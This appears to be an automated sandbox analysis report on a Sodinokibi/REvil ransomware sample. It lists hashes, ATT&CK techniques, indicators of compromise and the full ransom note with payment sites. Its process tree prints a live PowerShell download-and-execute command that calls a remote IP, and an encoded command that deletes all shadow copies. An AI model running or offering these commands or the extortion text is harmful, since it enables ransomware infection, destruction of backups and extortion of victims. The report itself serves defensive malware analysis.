sodinokibi | b17a151185d86157579c7ecd1903ddfd186f78f1b49899efefda2e943a6b755e

General

Target

LVUCdSAS.bat
Size

191B
MD5

4d0d0cde7b92c8b97f2729cb95f08d3a
SHA1

b77bbf7812e9295554ae54b2c35ef5304904f0f5
SHA256

b17a151185d86157579c7ecd1903ddfd186f78f1b49899efefda2e943a6b755e
SHA512

5ab25f6b4ed8e39c876b939e28848546586c43d4349cd460dd9ed0948b495a000e8e237e0a67f8d14c6f23e88643eac89099c27169926106b91a1ab48bf7c706

Score

10^/10

persistence ransomware sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/LVUCdSAS

Extracted

Path

C:\59t0ty8-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 59t0ty8. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/099343EE9A6C9A82 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/099343EE9A6C9A82 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: RTzvfBiknP3SVjsuwff/wh0jyBcB00O6q1C8AcgKDmnJkSJLna5uxrAZu+ax/cyA JYC8RlDx+iF0AHI3EWYAEhcKa6jIcoMR0x2sUd5q4hlDD+wUYPMYgKNNhdMY56xr 6w9DwkFaWyvpu9DCAu5S1TvZ6LT4h25KC+sor2ORskrqAPdEVqNS+mZ0tsfn/gpZ jfloolaCzw4rr41k+uXIiqLZGTLqlm9HYzojqrTG7ST4lpE6Al4y+cWnlhn1tzlg mA62y8Wz8a008VO22wEYQc/72gHZcvebs39HAYV3r02IshGGgWRvl9I+jAqA97Pr U0rCoHxRPXSiWVR/Ozvzhk5PViOl8WQbyYxT57OwIJQ/xiEJvmBkvlqF6iOcsvaR 38V80EsRN0mNPQAXvWY6oiWtQK+9OUpTvwJ9ediKu16WBj/yf7u/DXyb9e9Z4//4 9oFcqCDW5XwYAUhCIYnRT2YIuairBim5ep7x31v4cIYuR/1Tfh4HS0FQ2hJZBEA3 shPN8o9Sh1dhqb5726LgsN9fRRD04nYOoT17mumq4C2Qx/3ALGVNRXCfO9+rmXCK +0WeoawE2rFHcV7ae6vl9vk1PmkF/yhxGpafEB7Xo5S8yTE2BLo/ty+1lTllGX3J UG7JG9juQy9ttBZu1ZoH94pIiw1J1rh+X06LgHilB5lvLlEAge66EYTZ/Jzxt8TS wsmiRTg8Beb/3ijvAmrpHfq6jRVksaK2lpYDiyqES0T+kBpHsa6UGEKvq22iUeAX GOXECs3QeBFEOuALsQBIN0Uv7DxLZQltqWG20R3eGgdc8Jd/3C7fW0DlHylmOGXl tf17VDeVqSkFqXBow3eiy/RqrCXMNKKBTzfsC73hYwFAf6WfGbPsapmLTrEc7vLS LHqCSeOrpT+Xt/pDmjfxq0XBiGlMmGaTd5ScXE8b1uQ5rFEUNlpQbZTzpZHH3xfQ xq8Ydvy7/6DkXrKNnBBUN9Jo6hkSlfV4yaQPQHPglXFG4zpcOwub+y1R0Dcgf/31 sbPoi3Q+XYK2kVhU+xAGwCyuUlpeadwsscPxjxUp5pD/QtwPFkcpJYAf1WbhO/+G rEGvIh38adqB001vVqkhYrm1finw39xe2ZdMNkNibOK/rb75Y6Ih1i8VK/4+J+y2 2seB7O8lR7B43meVx59UjtZPr2sbJxIgKbTgkg5bjtLbdk3NxjjCaLnr0wzuO5os CEYU+9F4LIzvOXEOJZDcD7E6uWB2bDCwUcnAuHBa9OhMWMNEd+qUm2ogKTCFgrIP ygOA9AH52+M2o1gIjmYi3qJBbGgUlFKr1ITr92GU5cGWhQ== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/099343EE9A6C9A82

http://decryptor.cc/099343EE9A6C9A82

Signatures

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082
Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.

Processes:

description flow ioc

HTTP URL 2 http://185.103.242.78/pastes/LVUCdSAS
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

2 1480 powershell.exe

description	flow	ioc
HTTP URL	2	http://185.103.242.78/pastes/LVUCdSAS

flow	pid	process
2	1480	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1312 wrote to memory of 1480	1312	cmd.exe	powershell.exe
PID 1480 wrote to memory of 1696	1480	powershell.exe	powershell.exe
PID 1480 wrote to memory of 1696	1480	powershell.exe	powershell.exe
PID 1480 wrote to memory of 1696	1480	powershell.exe	powershell.exe
PID 1480 wrote to memory of 1696	1480	powershell.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeBackupPrivilege	752	vssvc.exe
Token: SeRestorePrivilege	752	vssvc.exe
Token: SeAuditPrivilege	752	vssvc.exe
Token: SeTakeOwnershipPrivilege	1480	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

1480 powershell.exe
1480 powershell.exe
1480 powershell.exe
1696 powershell.exe
1696 powershell.exe

pid	process
1480	powershell.exe
1480	powershell.exe
1480	powershell.exe
1696	powershell.exe
1696	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe

Drops file in Program Files directory 26 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\OptimizeEdit.svg	powershell.exe
File opened for modification	\??\c:\program files\SearchBlock.vb	powershell.exe
File opened for modification	\??\c:\program files\ConvertFromAdd.vsx	powershell.exe
File opened for modification	\??\c:\program files\InitializeRestart.dib	powershell.exe
File opened for modification	\??\c:\program files\NewImport.inf	powershell.exe
File opened for modification	\??\c:\program files\SwitchUpdate.midi	powershell.exe
File opened for modification	\??\c:\program files\TraceSet.m4a	powershell.exe
File opened for modification	\??\c:\program files\UnregisterComplete.xht	powershell.exe
File opened for modification	\??\c:\program files\WatchResize.vstx	powershell.exe
File created	\??\c:\program files\59t0ty8-readme.txt	powershell.exe
File created	\??\c:\program files (x86)\59t0ty8-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\BackupCompare.eprtx	powershell.exe
File opened for modification	\??\c:\program files\ResumeEdit.vsx	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\59t0ty8-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DismountDebug.xltx	powershell.exe
File opened for modification	\??\c:\program files\InitializeCompare.mpeg2	powershell.exe
File opened for modification	\??\c:\program files\InitializeShow.au	powershell.exe
File opened for modification	\??\c:\program files\LimitCopy.xlsb	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\59t0ty8-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\MoveRedo.asp	powershell.exe
File opened for modification	\??\c:\program files\ResumeSync.mp4v	powershell.exe
File opened for modification	\??\c:\program files\UnlockInstall.ods	powershell.exe
File opened for modification	\??\c:\program files\EnterRevoke.avi	powershell.exe
File opened for modification	\??\c:\program files\ExportSkip.dotm	powershell.exe
File opened for modification	\??\c:\program files\GetMove.ttf	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\59t0ty8-readme.txt	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\6j4yy61v.bmp"	powershell.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1480 powershell.exe

pid	process
1480	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\LVUCdSAS.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1312

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/LVUCdSAS');Invoke-KTVNSBAG;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Drops file in Program Files directory
- Sets desktop wallpaper using registry
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1480

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1696

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:752

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2f8f6cc7-ae83-4f79-b06e-2b9a49e06c5b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3f934678-4276-4d7d-9a2b-7ccacecf398b

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_670419ca-9b90-4e9d-a6c5-f73b7563d382

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9065e065-05e7-4eaa-bb93-1db6da178e99

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3b7b651-7089-41b5-9155-3fb877609508

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b7a807a3-f6b6-4397-972a-e9e81988f869

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads